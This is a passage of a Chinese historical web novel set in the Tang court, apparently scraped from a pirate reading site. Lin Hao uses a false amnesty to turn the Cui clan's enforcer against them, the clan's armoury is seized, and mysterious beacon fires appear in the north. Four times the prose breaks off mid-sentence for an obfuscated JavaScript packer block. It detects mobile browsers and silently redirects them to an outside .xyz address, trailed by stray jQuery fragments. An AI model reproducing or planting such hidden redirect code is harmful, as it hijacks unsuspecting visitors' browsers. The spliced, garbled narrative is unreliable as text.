“陛下,鱼已经全进网了。”林浩躬身道,“现在,是时候收线了。但要收得稳,不能让鱼把网给挣破了。”
“你打算怎么做?”
“明修栈道,暗度陈仓。”林浩抬起头,“请陛下下旨,命李君羡将军,率一千金吾卫,大张旗鼓地开赴博陵郡。对外宣称,彻查河北道历年税收亏空,清丈田亩。”
李世民立刻明白了林浩的意图:“用查税的名义,把他们的注意力都吸引到明面上?”
“正是。”林浩胜券在握,显得信心十足,“博陵郡守是崔家的人,金吾卫大军压境,他不敢拦,但必然会想尽办法虚与委蛇,把我们的人拖在郡城里。这就给了我们暗中行事的时间。”
“另外,我还需要陛下的另一道旨意。”
“说。”
“请陛下允许我,在博陵郡内,秘密散布一个消息。”
林浩的声音压得很低,“就说……陛下龙心大悦,特许三司调查组,对所有主动举报、戴罪立功之人,无论其过往做过什么,只要功劳够大,便可赦免一切罪责,甚至重新给予官身、爵位。”
李世民听完,先是一愣,随即放声大笑起来。
“好!好一招攻心计!”
这道子虚乌有的“恩旨”,对那些依附于世家,心里又有鬼的人来说,简直就是一道催命符,也是一道救命稻草。
它会让世家内部,从上到下,陷入猜忌和恐慌。
谁知道,为了自保,他们会做出什么事来?
……
博陵郡,崔氏祖宅。
议事堂内,气氛压抑得让人喘不过气。
留守的崔氏大长老,将手中的密信狠狠摔在地上。
“查税?清丈田亩?骗鬼呢!这是冲着我们来的!”
一名族老面色惨白地站起来:“大长老,更可怕的是外面的流言!听说……长安那位,给了林浩赦免的权力!咱们……咱们族里,还有那些知道地底事情的管事,会不会……”
他话没说完,但在场所有人都懂了。
背叛的种子,一旦种下,就会疯狂生长。
大长老坐在太师椅上,干枯的手指用力抓着扶手,骨节发白。
“传令下去,让崔平把手上的活儿做得干净点。”
“有些不该留的嘴,就永远不要再开口了。”
第125章:你的刀?现在是我的了!
长安,少府监。
一封来自博陵郡的加急密信,摊在林浩的案头。
信纸上只有寥寥数语,但墨顿和孙伏伽的脸色,却比窗外的夜色还要难看。
“让崔平……‘干净点’?”
墨顿的声音有些发颤,他不是没见过世面,但这种动辄屠戮数百妇孺的命令,依旧让他感到一阵从骨子里透出来的寒意。
“这是要**灭口!”
孙伏伽一拳砸在旁边的案几上,震得茶杯嗡嗡作响。
他这位大理寺卿,掌管天下刑狱,自认见惯了阴私诡谲,此刻却也被世家这种壮士断腕的狠辣手段惊得心口发堵。
那些死士的家眷,是崔家最后的秘密,也是他们谋逆的铁证。
一旦这数百口人被灭口,所有线索都将石沉大海。
“他们动手了。”
林浩从堆积如山的卷宗后站起身,走到那副巨大的舆图前,目光死死钉在了博陵郡的位置上。
“既然他们不仁,就别怪我们不义。”
“老师,我们现在怎么办?让李将军带人强攻吗?”墨顿急切地问。
强攻,是下下策。
崔氏坞堡经营百年,地底结构复杂如同蚁穴,强攻不仅会造成金吾卫的巨大伤亡,更会逼得崔家狗急跳墙,在金吾卫破门之前,将所有人质和证据销毁得一干二净。
“不。”林浩摇了摇头,转过身,看着面色凝重的二人。
“攻城为下,攻心为上。”
“我要瓦解他们,从内部。”
孙伏伽的眉头拧成了一个疙瘩:“林大人是想……策反?可目标是谁?那个独眼龙崔平?此人是前朝悍匪,心狠手辣,手上人命无数,他会听我们的?”
“他会的。”林浩的语气里没有半分犹豫。
“因为大长老要杀的人里,有他自己的心腹,有他一手带出来的兵。屠刀挥向自己人的时候,再硬的心,也会有裂痕。”
“更重要的是,”林浩停顿了一下,“我们要给他一个无法拒绝的理由。”
他看向孙伏伽,神情前所未有的严肃。
“孙大人,我知道这会让你为难。但将在外,君命有所不受,现在不是讲究程序的时候。”
孙伏伽心里咯噔一下,他已经猜到了林浩想做什么。
“林大人的意思是……那道子虚乌有的‘恩旨’?”
“对。”林浩点头,“但这一次,我要给它加上实实在在的筹码。”
他转向墨顿,语速极快地下令:
“墨顿,立刻传信给我们在博陵郡的所有探子,让他们把消息用最快的速度散布出去!”
“就说,凡主动揭露崔氏核心机密,并协助朝廷拿下坞堡者,无论过往犯下何等滔天罪行,一概赦免!”
“不仅如此,立下头功者,可授官身、赐爵位、赏万亩良田!”
墨顿听得热血沸腾,立刻提笔记录。
“最重要的一条,加上去。”林浩一字一顿,声音不大,却仿佛能砸进人的骨头里。
“其家人,将由朝廷出面,终生庇护!若有差池,地方官一体问罪!”
“林大人!”孙伏伽再也站不住了,几步冲到林浩面前。
“这哪里是矫诏!这是把您自己的脑袋往龙椅下面送啊!一旦陛下追究起来,这可是灭族的大罪!”
“等我们把那座足以装备三千人的军械库摆在陛下面前时,陛下只会赏我们,不会罚我们。”
林浩直视着他,眼神里没有半分动摇,“这件事,所有责任,我林浩一人承担!”
说完,他从怀中取出一枚非金非铁的黑色牌子,递给了身边的金吾卫亲兵。
牌子入手冰凉,一面刻着一个古朴的“林”字。
而另一面,赫然雕刻着一个狰狞的“山云”图样!
正是从那死士身上拓下来的纹身图案!
“你亲自去一趟博陵郡,找到李将军的斥候,让他们不惜一切代价,把这东西,送到崔平的面前。”
“告诉他,愿不愿意换一种活法,只在他一念之间。”
亲兵接过铁牌,那沉重的分量让他手腕一沉。
他没有多问一个字,只重重点头,转身快步离去,身影很快消失在夜色中。
……
与此同时,博陵郡,崔氏坞堡地底。
黑暗深邃的通道内,几名金吾卫斥候如同壁虎般,悄无声息地趴在一个隐秘的通风口旁。
“队长,下面不对劲。”
一名斥候压低了声音,耳朵紧贴着冰冷的石壁,“我听到了……金属摩擦石壁的刺耳声响,还有……女人孩子的哭喊。”
为首的斥候队长神情凝重,他通过少府监新制的地龙探测仪,已经察觉到地下深处,有大量人员在快速集结。
这绝不是正常的换防!
突然,一声凄厉的惨叫从地道深处隐隐传来,随即又被强行捂住。
紧接着,是骨头断裂的闷响和更多压抑的惊叫。
一股浓重的血腥味,顺着地道的风,缓缓飘了上来。
“不好!他们动手了!”队长的心瞬间揪紧。
林大人的预判,成真了!崔家,真的在清理内部!
……
地底秘营,一间巨大的石室内。
这里本是死士家眷的集中居住地,此刻却变成了修罗场。
一群手持横刀的崔氏护卫,正凶神恶煞地将妇孺们从一个个房间里拖拽出来。
一个妇人死死护住怀里的幼子,却被护卫一脚踹在心窝,当场吐出一口血,怀里的孩子滚落在地,哇哇大哭。
“大总管有令!凡与‘甲’字营相关家眷,全部迁往‘死囚渊’!”一名护卫头领高声喊道,脸上没有丝毫怜悯。
所有人都知道,“死囚渊”是什么地方。
那是一处深不见底的天然裂谷,是崔家百年来处理“垃圾”的所在,扔进去的,无论是人是物,都再无重见天日之日。
“凭什么!我们的男人为崔家卖命,你们要杀了我们?”
“放开我的孩子!你们这群畜生!”
哭喊声、咒骂声、求饶声,混杂在一起,让这地底石室变成了人间地狱。
独眼龙崔平,就站在石室的入口处,一动不动地看着这一切。
他的身后,站着几十名他一手训练出来的死士,他们就是“甲”字
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391693|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
营的成员。
被拖拽的妇孺中,有他们的妻子,有他们的父母,有他们牙牙学语的孩子。
他们手里的刀在抖,不是因为害怕,而是因为愤怒和无力。
“教官!”一名死士再也忍不住,猛地转身,单膝重重跪在了崔平面前,额头磕在坚硬的石地上,发出的闷响在石室中回荡。
“求您!救救我的家人!我婆娘和娃……求您了!”
“教官!大长老这是要我们的命啊!”
“噗通!噗通!”
几十名**不眨眼的死士,齐刷刷地跪了下来,他们手中的刀,第一次不是对着敌人,而是指向了自己的绝望。
崔平的独眼,扫过眼前跪倒的一片。他的手,死死握着刀柄,手背上虬结的青筋一跳一跳。
大长老的命令,还在他耳边回响。
“崔平,把地底收拾干净,不要留下任何手尾。做完这件事,你就是崔家的大总管。”
荣华富贵,唾手可得。
可他的目光,却落在一个被拖拽的七八岁男孩身上。
男孩的父亲,是跟他十年,为他挡过三刀的副手。
三年前,在河东,一柄淬毒的短刀直刺他的后心,是那个男人,用自己的胸膛挡住了刀锋。
临死前,男人抓着他的手,只说了一句话。
“教官,看好我娃……”
此刻,那男孩惊恐地看着他,嘴里无声地喊着:“崔伯伯……”
外面那个关于“赦免”的流言,不受控制地钻进了他的脑海。
“揭露核心机密……可获官爵……”
“家人……终生受朝廷庇护……”
他的呼吸,变得粗重起来。
许久,他缓缓抬起手,对着那些正在行凶的护卫,冷冷地吐出一个字。
“停。”
护卫头领一愣,转过身来,脸上带着一丝不耐:“崔教官,这是大总管的命令,您别让我难做……”
“我再说一遍。”
崔平的声音不大,却让整个石室的温度都降了下去。
“让你的人,停手!”
所有人都停下了动作,石室里只剩下压抑的抽泣。
崔平转身,对一名心腹低语。
“去,巡视西侧三号通道,仔细点。”
心腹一怔,立刻领命。
他知道,三号通道尽头有个废弃通风口,是斥候最爱待的地方。
教官的意思,不言而喻。
片刻后。
通风口下的石壁上,被人用白石,悄悄划下一个箭头。
箭头所指的方向,正是秘营的军械库!
就在那心腹转身离开的瞬间,一队巡逻护卫恰好从拐角走来,与他擦肩而过。
通风口上的斥候队长,心都提到了嗓子眼。
好险!
他看着那个清晰的箭头,精神一振!
崔平,反了!
这不是简单的示好,这是在递投名状!
他要把崔家最大的秘密,整个端给朝廷!
斥候队长压下激动,对身边的队员打了个手势。
“发信号!告诉李将军,鱼上钩了!”
“而且这条鱼,想把整个渔网都给掀了!”
第126章:图穷匕见,崔家最后的底牌!
坞堡之外,密林之中。
李君羡站在一棵盘根错节的老树下,静静等待消息。
林间的虫鸣,在某一刻静止了。
一声细微的鸟鸣,三长两短,刺破了这份宁静。
他紧握刀柄的手,指节猛然一紧。
来了!
"将军!"
身边的副将压低了声音,语气里是抑制不住的兴奋。
"林大人的计策,成了!"
李君羡抬起手,对着黑暗的林中,做了一个干脆利落的劈砍动作。
"按甲字号方案,行动!"
"诺!"
黑暗中,无数潜伏的身影从草丛、树后涌出。
他们没有发出任何声音,行动间只有甲叶摩擦的细微声响。
斥候在最前方引路,三支队伍悄无声息地扑向坞堡几处不起眼的角落。
那里,是地道网最薄弱的入口。
崔平早已标示清楚。
李君羡跟着主力队伍,从西侧的隐蔽入口潜入地底。
通道里阴冷潮湿,火把的光芒在石壁上投下摇曳的影子。
他们沿着崔平提供的路线图,悄无声息地摸向目标。
很快,前方传来了低沉的说话声。
"崔教官,大总管那边催了,让我们立刻去‘死囚渊’监督行刑。"
李君羡做了个手势,队伍立刻停下。
他看到前方的通道里,独眼龙崔平正带着一队心腹在"巡视"。
一名护卫头领跟在他身后,脚步显得有些焦躁。
崔平脚步不停,走到一处刻着繁复花纹的石壁前,停了下来。
他伸出手,看似随意地拂去墙上的灰尘。
手指却以一种特定的节奏,依次按过几处凸起的纹路。
"咔哒……"
一声沉闷的机括转动声响起。
整面石墙,无声无息地向内滑开。
一股陈腐的冷风从里面涌出,吹得火把猎猎作响。
墙后,正是李君羡所在的通道。
崔平对着李君羡,无声地抱了抱拳。
跟在崔平身后的护卫头领,眼珠子几乎要从眼眶里瞪出来。
他张开嘴,喉咙里刚要挤出惊骇的呼喊。
一道寒光闪过。
一柄横刀,精准地从他脖颈处划过,带出一线血珠。
他的喊声卡在了喉咙里,双手徒劳地捂住脖子,难以置信地看着崔平,直挺挺地倒了下去。
崔平甚至没有看那具尸体一眼。
他对着李君羡,伸出两根手指,指了指两个不同的方向。
"左边,关押家眷的石室。"
"右边,军械库和金库。"
"大总管的护卫队都在石室那边,准备灭口。"
李君羡重重点头。
"多谢!"
他猛地一挥手。
"动手!"
李君羡亲自带领主力,直扑右侧的军械库。
很快,他们抵达了军械库的门前。
这是一扇厚达半尺的精铁大门,上面布满了复杂的锁孔,坚不可摧。
"让开。"
李君羡走上前,看都没看那些锁孔。
他活动了一下筋骨,发出"噼啪"的爆响。
他深吸一口气,全身肌肉坟起,将铁甲都撑得微微变形。
猛地一拳,狠狠砸在了大门与石壁的连接处!
"铛——!"
一声震耳欲聋的巨响,在狭长的通道内回荡不休。
整条通道都在剧烈颤动,头顶簌簌地掉下灰尘。
那扇坚固的铁门,被他用蛮力,硬生生砸得向内凹陷进去一大块!
连接处的铆钉发出不堪重负的呻吟。
"再来!"
李君羡暴喝一声,又是一拳!
"轰!"
这一次,铁门再也支撑不住,连接处的铆钉全部崩断,整扇门被砸得向内倒飞出去!
门后的景象,让所有人都停住了呼吸。
火把的光芒照亮了里面的空间。
映入眼帘的,是兵器的森林!
一排排擦得锃亮的铠甲,在火光下泛着幽冷的光。
一捆捆锋利的长矛,矛尖如林。
还有数不清的强弓硬**,整齐地码放在架子上。
“清点!”
一名副将快步跑了一圈,回来时声音都在发颤。
“将军……铠甲一千三百副,长矛三千杆,强弓硬**一千张,箭矢……箭矢超过十万支!”
“这里的兵器,足以装备五千人!”
李君"羡"的拳头捏得咯咯作响。
这不是私藏军械。
这是谋反!
而在隔壁的金库,更是让所有人的呼吸都停滞了。
没有箱子。
金砖和银锭,就那么随意地堆在地上,在火光的照耀下,形成了一座座刺眼的小山。
一个年轻士兵脚下一软,被一块滚到脚边的东西绊倒。
他低头一看,那是一块通体翠绿的玉佩,上面雕着一条栩栩如生的游龙。
“这是……这是内帑贡品!”一名老兵失声喊道。
李君羡一脚将那年轻士兵踹起来,声音里是压抑不住的怒火。
“发什么呆!这些,全都是民脂民膏!是崔家从百姓身上刮下来的血汗!”
“全部查封!登记造册!”
“诺!”
就在这时,从左侧的通道里传来了激烈的打斗声和惨叫。
是崔平那边的行动开始了。
李君羡快步赶过去,只见石室的厚重大门已经被踹开。
里面,一群身着黑甲的金吾卫正在清理现场。
"金吾卫办案!反抗者,格杀勿论!"
战斗已经结束。
石室内所有的崔氏护卫,全部被斩杀当场。
那个满脸横肉的胖子,被校尉一脚踹翻在地,冰冷的刀锋架在了他的脖子上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398230|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
劫后余生的妇孺们看着这突如其来的变故,先是死一般的寂静。
随即,压抑了许久的哭声,轰然爆发。
得救了。
崔平站在门口,静静地看着这一幕。
他那只独眼中,看不出任何情绪。
当看到李君羡走过来时,他指着几个被五花大绑的崔氏管事。
"将军,这几个人,是大总管的心腹,负责管理崔家遍布各地的产业和秘密账本。"
"从他们嘴里,能挖出整个崔氏的经济网络。"
李君羡满意地点点头。
林大人的这一招,不但破了城,还送来了一把挖出敌人老底的钥匙。
"很好。"
李君羡转身,对身后的将士下令。
"彻底封锁整座坞堡!"
"清查所有人员,但凡与核心罪证有关者,一律收押!"
"将所有罪证、财物,打包运走!"
"诺!"
金吾卫的行动效率极高,很快便控制了坞堡的里里外外。
正当李君羡以为大局已定时,一名斥候急匆匆地跑了过来。
"将军!坞堡地面发现异常!"
"崔氏大长老的书房里,有人在焚烧文件!"
李君羡眉头一皱。
"走!上去看看!"
……
坞堡地面,崔氏大长老的书房。
“砰!”
一名管事连滚带爬地冲了进来,脸上没有一丝血色。
“大……大长老!不好了!地底……地底出事了!”
“金吾卫……金吾卫不知道从哪里冒出来的!已经……已经控制了军械库和金库!”
“什么?!”
端坐在太师椅上的大长老,猛地站了起来。
他手中的茶杯滑落,在地上摔得粉碎。
“崔平呢?大总管呢?他们是干什么吃的!”
“崔平……崔**了!”
管事哭喊道,“就是他带着金吾卫进来的!”
“大总管……大总管的指挥室,已经被攻破了!”
“噗!”
大长老只觉得喉头一甜,一口鲜血喷了出来,身体晃了晃,重重栽倒回椅子上。
完了。
全完了。
崔家百年的基业,百年的谋划,在这一夜之间,土崩瓦解。
片刻后,缓过神的崔氏大长老,缓缓坐直了身体,慢条斯理地擦去嘴角的血迹。
原本浑浊的眼睛里,此刻只剩下疯狂的决绝。
他慢慢走到墙边,在一副山水画的后面,摸索了片刻。
"咔。"
墙壁上弹出一个暗格。
暗格里,只有一个巴掌大小,通体漆黑的木筒。
他颤抖着手,拿起木筒,递给了角落里一个一直潜伏的黑衣人。
那人无声地接过。
"传令。告诉他们,崔家,已经到了动用祖荫的时候了。"
第127章:崔家的底牌,原来在这里!
李君羡一脚踹开崔氏大长老书房的门时,一股浓烈的焦糊味扑面而来。
他挥手扇开眼前的烟尘,只见房内一片狼藉。
一个巨大的铜盆里,灰烬堆积,尚有余温。
显然,就在不久前,这里有人在疯狂销毁着什么。
“将军,人在这里!”
一名金吾卫将士,用刀鞘指了指角落的太师椅。
崔氏大长老,崔文海,就那么安然地坐在那里。
他身上那件价值不菲的锦袍沾了些许灰尘,头发也有些散乱,但脸上却不见丝毫的惊慌。
他甚至还端着一杯已经凉透的茶,慢悠悠地品着。
那份从容,与周围紧张肃杀的气氛格格不入。
李君羡走上前,居高临下地看着他:“崔文海,你可知罪?”
崔文海抬起眼皮,浑浊的眼睛里透着一股诡异的平静:“罪?成王败寇而已,何罪之有。”
“嘴还挺硬。”李君羡冷哼一声,“私藏军械,豢养死士,意图谋反。光是这几条,就够你崔氏满门抄斩一百次了。带走!”
两名金吾卫上前,粗暴地架起崔文海。
在被拖出门口的瞬间,崔文海忽然扭过头,对着李君羡露出了一个让人毛骨悚然的笑容。
“李将军,你以为这就结束了?”
“你们赢了坞堡,但崔家的棋盘,可不止这博陵一地。等着吧,很快……很快你们就会明白,什么是真正的世家底蕴。”
李君羡的眉头拧成了一个疙瘩。
这老东西的镇定,不是装出来的。
与此同时,一道黑影如鬼魅般,借着坞堡大乱的掩护,从一处偏僻的狗洞钻出,几个起落便消失在了沉沉的夜色里。
他的怀中,揣着一个冰冷的木筒。
……
河北道,临时帅帐。
林浩看着李君羡派人送来的第一份战报,脸上总算有了些笑意。
“好!干得漂亮!”墨顿在一旁看得是热血沸腾,“老师,这下崔家算是彻底完了!金库、军械库全被我们端了,连他们最核心的账房管事都抓了活的!”
林浩点了点头,将战报递给一旁的孙伏伽。
胜利是巨大的,足以让李世民龙颜大悦。
可当他看到战报的最后几行,描述崔文海被捕时的神态和那番话时,他脸上的笑意慢慢收敛了。
“把最大的秘密藏到我们找不到的地方去……”林浩喃喃自语,手指无意识地在地图上敲击着。
崔文海在被捕前,启动了所谓的“祖荫”。
这个词,透着一股陈腐而又神秘的味道。
“孙大人,”林浩看向孙伏伽,“你即刻带着人,连夜审讯那些被活捉的崔氏管事。我要知道崔家每一处产业、每一条商路、每一个合作伙伴的详细信息!我要一张完整的崔氏经济网络图!”
“下官明白!”孙伏伽拿着战报,神情严肃地领命而去。
“墨顿。”林浩又转向墨顿。
“老师,您吩咐!”
“军械库里发现的那些新式兵器图纸,你立刻派最可靠的人,八百里加急送回长安,交给皇家科学院。让他们给我分析,这些东西,崔家是想用来对付谁的!”
“是!”墨顿也意识到了事情的严重性,转身就去安排。
帅帐里,只剩下林浩一人。
他走到那副巨大的地图前,目光在上面缓缓移动。
“祖荫……”
他总觉得这个词在哪见过。他让亲兵搬来了所有能找到的,关于河北道世家的旧档卷宗。
烛火下,林浩一页页地翻阅着泛黄的故纸堆。
前隋末年,天下大乱,河北窦建德势大,崔氏曾一度面临灭顶之灾,却在关键时刻,窦建德后方粮仓莫名起火,大军不战自乱,崔氏安然无恙。
武德年间,刘黑闼席卷河北,崔氏坞堡被围,眼看城破在即,一支神秘的突厥骑兵却突然出现在战场侧翼,冲散了刘黑闼的阵型,随后又消失无踪。
卷宗里的记载语焉不详,只用了“天佑”“故旧来援”等模糊的词语一笔带过。
一次是巧合,两次是运气,三次、四次呢?
林浩将所有关于崔氏在危机时刻的记载都圈了出来。
他发现了一个规律,每当崔氏面临生死存亡的关头,总会有一股外来的神秘力量介入,助其渡过难关。
这股力量,有时是“流寇”,有时是“边军”,有时甚至是“外族”。
这绝不是简单的**人脉。
这是一种隐藏在水面之下的,更为古
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398231|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老、更为庞大的组织!
“报——”
一名负责情报汇总的亲兵冲了进来,神色紧张。
“大人!我们遍布各地的宝钞务网点传来急报!就在半个时辰前,全国范围内,所有与崔氏有秘密关联的钱庄、商号、车马行,同时关门歇业!所有掌柜和核心人员,一夜之间,人间蒸发!”
林浩猛地站起身。
来了!
这不是溃败,这是一次有组织的、精准无比的战略收缩!
就像一只章鱼,在察觉到危险后,果断地斩断了自己所有的触手,将头缩回了最深的海底。
“传我将令!”林浩的声音沉稳而有力。
“一,命李君羡立刻封锁博陵郡全境,一只鸟都不许飞出去!同时,严密监视范阳卢氏、荥阳郑氏等其他几家的动向,我要知道他们见的每一个人,说的每一句话!”
“二,飞马传讯长安,请陛下下令,加强京畿防务,全城**!”
“诺!”
亲兵领命而去。
帅帐内的气氛,压抑到了极点。
一场看得见的战争刚刚结束,一场看不见的战争,才正要开始。
就在这时,帐帘再一次被猛地掀开。
一名斥候连滚带爬地冲了进来,他满身尘土,嘴唇干裂,显然是经过了极限的奔袭。
“林……林大人!北……北境……急报!”
斥候大口喘着粗气,从怀里掏出一份火漆封口的密信,双手颤抖着奉上。
林浩一把扯开。
信上的字迹潦草急促,透着一股极度的惊骇。
内容只有一句话。
“北境数座废弃百年的古老要塞,于今夜子时,同时燃起狼烟,其方位,与崔氏祖地遥相呼应!”
林浩的身体僵住了。
他快步冲到地图前,目光越过河北道,死死钉在北方那条漫长的边境线上。
他的手指,从博陵郡的位置一路向北,最终,重重地按在了那几个被标记为“废弃”的黑色小点上。
那些前汉时期为抵御匈奴而建,早已被黄沙掩埋了数百年的要塞。
今夜,它们被一声古老的号令,同时唤醒。
林浩的脑子里“嗡”的一声。
原来,这才是崔家的“祖荫”!
第128章:传国玉佩?李二的脸都被抽肿了
“驾!”
清脆的马鞭声撕裂了皇城夜晚的寂静,一匹快马在空旷的宫道上飞驰,马蹄叩击着冰冷的石板路,溅起一连串急促的火星。
守卫宫门的禁卫刚想呵斥,看清来人是林浩后,硬生生把话咽了回去,手忙脚乱地打开了通往内宫的门禁。
林浩翻身下马,甚至来不及将缰绳交给迎上来的内侍,便抓着怀里那份滚烫的密信,三步并作两步,冲向灯火通明的甘露殿。
殿内,李世民刚换下常服,一身玄色龙袍的盘扣还未系好,见林浩闯入,眉头一挑,却没说话。
他知道,若非天塌下来了,林浩绝不会如此失态。
“陛下!”
林浩双手奉上那份用火漆加急密封的军报。
李世民接过,指尖轻轻一划,信封裂开。
他扫了一眼,随机便拿着那张薄薄的信纸,一步步走到墙边悬挂的巨大舆图前。
“在这里,这里……还有这里。”
李世民的手指在舆图上缓缓移动,从河北道的博陵郡,一路向北,越过幽州,最终,指尖重重地按在了北境长城沿线的几个被军部标记为“废弃”的黑色小点上。
那几个前朝为抵御外族而建,早已被黄沙掩埋了半截的古老要塞,此刻在他的指下,如同几根刚刚从血肉里翻出来的毒刺,狰狞可怖。
“陛下,臣在查阅崔氏旧档时发现,百年来,崔氏数次遭遇灭顶之灾,但每到关键时刻,总有一股来历不明的外力介入。”
林浩的声音在死寂的大殿中响起,“卷宗上记载含糊,只称其为‘流寇’‘边军哗变’,甚至……‘天佑’。”
“昨日,博陵崔氏大长老崔文海被捕前,曾说‘崔家的棋盘,不止博陵一地’。臣当时以为是败犬之吠,现在看来……”
“这所谓的‘祖荫’,就是他们埋在北境的刀。狼烟,是拔刀的信号。”
李世民缓缓转过身,将那份密信随手丢在御案上。
“传朕旨意!召房玄龄、杜如晦、李靖、程咬金,即刻入宫!立刻!”
半个时辰后,甘露殿偏殿。
大唐权力中枢的几位巨头齐聚一堂,气氛压抑得连烛火的跳动声都显得格外刺耳。
兵部尚书李靖须发皆白,听完林浩的陈述,他第一个站了出来,眉头紧锁。
“陛下,北境狼烟,事关重大。但……会不会是边军误报?”
他走到舆图前,手指在那几个黑点上点了点,“这几座要塞,老臣年轻时曾路过,黄沙都埋到了城垛口,残垣断壁,风一吹就掉土疙瘩。别说藏兵,就是藏几百只耗子都难。世家门阀的手,怎么可能伸到那里去?”
李靖的话,代表了在场大多数人的想法。
这听起来太荒谬了。
“李尚书所言极是。”宿国公程知节瓮声瓮气地附和,“俺看,八成是那些世家崽子在故弄玄虚,想把咱们的注意力引到北边去,好让他们在地方上的余孽趁机溜之大吉。”
众人议论纷纷,都觉得此事透着一股邪门,但更多的还是不信。
一个盘踞在内地的文臣世家,去操控边境的废弃军堡,这超出了所有人的认知。
林浩没有争辩,他只是沉默地从怀中取出另一份卷宗,双手呈上。
“诸位大人,这是李君羡将军,从博陵坞堡地底抄没的军械库清单。”
内侍展开卷宗。
当那一长串密密麻麻的数字呈现在众人眼前时,偏殿内所有的议论声,像是被一把无形的刀瞬间斩断。
脾气最火爆的程咬金开口怒骂:“铠甲……一千三百副!长矛三千杆!强弓硬**一千张!箭矢……箭矢超过十万支!”
“这**是五千人的装备!足足够装备一个满编的折冲府!他崔家想干什么?!”
“这还不是全部。”
林浩的声音再次响起,他从袖中取出一块用黄布包裹的物件,轻轻放在桌上,然后缓缓解开。
一块通体翠绿的玉佩,出现在众人眼前。
玉佩上雕刻的游龙仿佛活物,鳞甲毕现,在烛火下流转着温润的光泽。
一直沉默不语的杜如晦,在看到玉佩的瞬间,身体几不可见地一震。
“这龙眼……是一点血的雕工。三年前,和田进贡的‘踏雪寻龙佩’,记录在册,本应入内帑。但在运抵长安前,于河北道失踪。当时……只当是寻常匪盗劫了镖。”
偏殿内,落针可闻。
如果说军械库是谋逆的铁证,那这块本应躺在皇帝私库里的玉佩,就是一记响亮的耳光,狠狠抽在了所有人的脸上。
这证明崔家的手,早已伸到了他们无法想象的,也根本不敢去想的领域。
李世民的目光缓缓扫过众臣:“现在,还有谁觉得,这只是故弄玄虚?”
无人敢应答。
“北境都督李绩那边,是什么情况?”李世民的视线最终落在了李靖身上。
“回陛下,李绩将军已传回消息,边军已进入最高戒备。”
李靖的神情凝重无比,“但……除了那几股狼烟,并未发现任何大规模敌军集结的迹象。狼烟燃起后,不到一炷香的功夫就熄灭了,快得……就像个幻觉。”
“这不是进攻,是点名。”
林浩断然道,“他们在确认彼此的存在,或者,是在等待下一步的命令。”
李世民点了点头,走到舆图前,手指在北境那条漫长的防线上重重划过。
“传朕手谕,命金吾卫‘不良人’与百骑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409336|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
司,所有潜伏在北境的暗桩全部唤醒!给朕盯死草原上的一草一木!朕不仅要知道那些要塞里藏了什么鬼,还要知道,狼烟升起之后,突厥的那些部落,有谁的帐篷,动了地方!”
“陛下!”房玄龄出列,拱手道,“臣以为,当务之急,应立刻调动河北道附近驻军,向北境压过去,形成威慑,让他们不敢轻举妄动!”
“不妥。”李世民直接否决,“敌暗我明。在不知道对方是人是鬼,到底想干什么之前,任何大军调动,都可能打草惊蛇,甚至会逼他们狗急跳墙。”
他转头看向林浩:“林浩,你有什么想法?”
所有人的目光,瞬间都集中到了这个年轻得过分的少府监监卿身上。
“陛下,臣以为,解开谜题的钥匙,就在那几座燃起狼烟的古老要塞里。”
林浩上前一步,“大军开进,目标太大。不如……派一支精锐小队,化装成行商,秘密潜入北境,摸到他们眼皮子底下去看个究竟。”
“直接派人钻进他们的老巢里去?”程咬金眼睛一亮,一拍大腿,“这法子够直接!俺喜欢!”
“准了。”李世民毫不犹豫,“此事,就交给你去办。朕给你金吾卫的调兵权,人,你自己去挑。记住,朕要活口,要真相,不要惊动任何人!”
“臣,遵旨!”
军议散去,殿内只剩下君臣二人。
李世民看着一脸疲惫的林浩,语气缓和了些:“这件事,你打算从何处着手?”
“从人入手。”林浩答道,“孙伏伽大人正在连夜审讯崔氏的核心管事,希望能从他们嘴里,挖出关于‘祖荫’的线索。只要找到一个突破口,就能顺藤摸瓜。”
然而,一个时辰后,孙伏伽带来的消息,却像一盆冰水兜头浇下。
